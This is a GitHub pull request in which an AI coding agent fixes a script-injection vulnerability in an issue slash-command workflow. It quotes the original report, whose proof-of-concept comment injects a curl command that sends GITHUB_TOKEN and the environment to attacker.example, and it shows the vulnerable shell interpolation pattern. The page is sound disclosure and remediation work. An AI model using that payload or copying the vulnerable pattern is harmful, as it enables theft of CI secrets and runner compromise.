Skip to content

Fix Actions script injection vulnerability in issue-slash-commands.yaml#4493

Merged
ChrisTitusTech merged 2 commits into
mainfrom
copilot/fix-actions-script-injection-vulnerability
May 14, 2026
Merged

Fix Actions script injection vulnerability in issue-slash-commands.yaml#4493
ChrisTitusTech merged 2 commits into
mainfrom
copilot/fix-actions-script-injection-vulnerability

Conversation

Copy link
Copy Markdown
Contributor

Copilot AI commented May 14, 2026

github.event.comment.body and github.event.comment.user.login were interpolated directly into run: shell steps via ${{ }}, enabling arbitrary command execution by any issue commenter. The allowlist check ran after the vulnerable steps, providing no protection.

Changes

  • Replaced all run: steps with a single actions/github-script@v7 step — comment body is read as a JavaScript value, never passed to a shell
  • Authorization moved first — allowlist check happens before any comment content is parsed
  • All GitHub operations use typed REST API calls (github.rest.issues.*) instead of gh CLI with interpolated strings
  • Preserved all existing commands: /label, /unlabel, /close (with not plannedstate_reason: not_planned), /open, /reopen
  • Extended label syntax — both /label 'name' and /label name are supported

Before / After

# BEFORE — attacker-controlled input injected into shell
- name: Check for /label command
  run: |
    if [[ "${{ contains(github.event.comment.body, '/label') }}" == "true" ]]; then
      LABEL_NAME=$(echo "${{ github.event.comment.body }}" | awk ...)
      echo "label_name=${LABEL_NAME}" >> $GITHUB_ENV
    fi

# AFTER — parsed as data in JS, API called directly
- name: Process slash command
  uses: actions/github-script@v7
  with:
    script: |
      if (!allowedUsers.includes(commenter)) { return; }  // auth first
      const labelMatch = body.match(/\/label\s+'([^']+)'|\/label\s+(\S+?)(?:\s|$)/);
      if (labelMatch) {
        await github.rest.issues.addLabels({ owner, repo, issue_number, labels: [labelName] });
      }
Original prompt

Fix an Actions script injection vulnerability in .github/workflows/issue-slash-commands.yaml in repository ChrisTitusTech/winutil.

Context:

  • The workflow is triggered by issue_comment on created and edited.
  • It currently interpolates untrusted attacker-controlled github.event.comment.body directly inside multiple run: shell scripts.
  • Because GitHub Actions expands ${{ }} expressions before the shell parses the script, this allows command injection from issue comments.
  • The existing allowlist check happens after vulnerable parsing steps, so it does not mitigate the issue.

Source file to fix:

  • .github/workflows/issue-slash-commands.yaml

Requirements:

  1. Eliminate direct interpolation of github.event.comment.body and any other attacker-controlled derived values into shell source in run: steps.
  2. Reorder the workflow so authorization happens before any parsing of issue comment content that reaches a shell.
  3. Preserve the existing slash-command behavior as much as practical:
    • /label 'name'
    • /unlabel 'name'
    • /close
    • /open
    • /reopen
    • preserve the existing not planned close behavior if feasible.
  4. Use a safe implementation approach. Preferred approaches include:
    • actions/github-script to parse comment body as data rather than shell source, and/or
    • passing untrusted input through environment variables and handling it safely without expression splicing into shell.
  5. Ensure any later use of parsed label values is also safe and not vulnerable to shell injection.
  6. Keep the workflow limited to issues, not PR comments, as it already is.
  7. Keep permissions minimal.
  8. Add a concise explanation in the PR description of the vulnerability and the remediation.

Suggested direction:

  • A robust fix would be to perform allowlist validation first, then parse the comment in JavaScript with actions/github-script, set outputs, and call the GitHub API directly for close/reopen/label operations instead of shelling out to gh with attacker-controlled data.

Deliverable:

  • Open a pull request against main with the workflow fixed.

The following is the prior conversation context from the user's chat exploration (may be truncated):

User: ````
Summary
The Issue slash commands workflow (`.github/workflows/issue-slash-commands.yaml`) is vulnerable to Actions script injection. Multiple `run:` steps interpolate the untrusted, attacker-controlled `github.event.comment.body‘expression directly into shell scripts. BecauseGitHubActionsexpands‘{{ }}` expressions before the shell parses the script, any user who can comment on an issue in this repository can execute arbitrary commands on the workflow runner.

The existing ALLOWED_USERS allowlist does not mitigate this issue, because the user check runs in a step after the vulnerable commands have already executed.

Affected Component

Repository: ChrisTitusTech/winutil
File: .github/workflows/issue-slash-commands.yaml
Branch: main
Trigger: issue_comment (types: [created, edited])
Vulnerable Code


- name: Check for /label command
  id: check_label_command
  run: |
    if [[ "${{ contains(github.event.comment.body, '/label') }}" == "true" ]]; then
      echo "command=true" >> $GITHUB_ENV
      LABEL_NAME=$(echo "${{ github.event.comment.body }}" | awk -F"/label" '/\/label/ { match($2, /'\''([^'\'']*)'\''/, arr); if (arr[1] != "") print arr[1] }')
      echo "label_command=true" >> $GITHUB_ENV
      echo "label_name=${LABEL_NAME}" >> $GITHUB_ENV
    else
      echo "label_command=false" >> $GITHUB_ENV
    fi

- name: Check for /unlabel command
  id: check_unlabel_command
  run: |
    if [[ "${{ contains(github.event.comment.body, '/unlabel') }}" == "true" ]]; then
      ...
      UNLABEL_NAME=$(echo "${{ github.event.comment.body }}" | awk -F"/unlabel" ...)
      ...

The /close and /open|/reopen checks contain the same pattern via contains(github.event.comment.body, ...) followed by further use of the value. A secondary injection sink exists in the Label issue / Remove labels steps, which interpolate ${{ env.label_name }} (derived from attacker input) into another run: block.

Proof Of Concept

Comment the following in any open issue:


/label "; curl -sX POST https://attacker.example/exfil -d "token=$GITHUB_TOKEN&env=$(env | base64 -w0)"; echo "

You'll receive the GitHub Token in the attacker controlled server.


Assistant: Yes — this is a real script-injection vulnerability, and the summary is directionally correct.

The core issue is that untrusted issue-comment content is embedded directly into `run:` scripts via `${{ github.event.comment.body }}` before any authorization check happens. In GitHub Actions, expression interpolation happens before the shell executes the script, so attacker-controlled comment text can break shell quoting and inject commands. In this workflow, that occurs in the command-detection/parsing steps, which run before the allowlist gate.

### Why it’s explo...

</details>



<!-- START COPILOT CODING AGENT SUFFIX -->

*This pull request was created from Copilot chat.*
>

Copilot AI changed the title [WIP] Fix script injection vulnerability in issue-slash-commands.yaml Fix Actions script injection vulnerability in issue-slash-commands.yaml May 14, 2026
Copilot AI requested a review from ChrisTitusTech May 14, 2026 23:08
@ChrisTitusTech ChrisTitusTech marked this pull request as ready for review May 14, 2026 23:09
@ChrisTitusTech ChrisTitusTech merged commit 543b895 into main May 14, 2026
8 checks passed
@ChrisTitusTech ChrisTitusTech deleted the copilot/fix-actions-script-injection-vulnerability branch May 14, 2026 23:13
@ChrisTitusTech
Copy link
Copy Markdown
Owner

ChrisTitusTech commented May 16, 2026

Credit to Nahuel Sanchez, Security Consultant, for Kulkan for finding the vulnerability.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

2 participants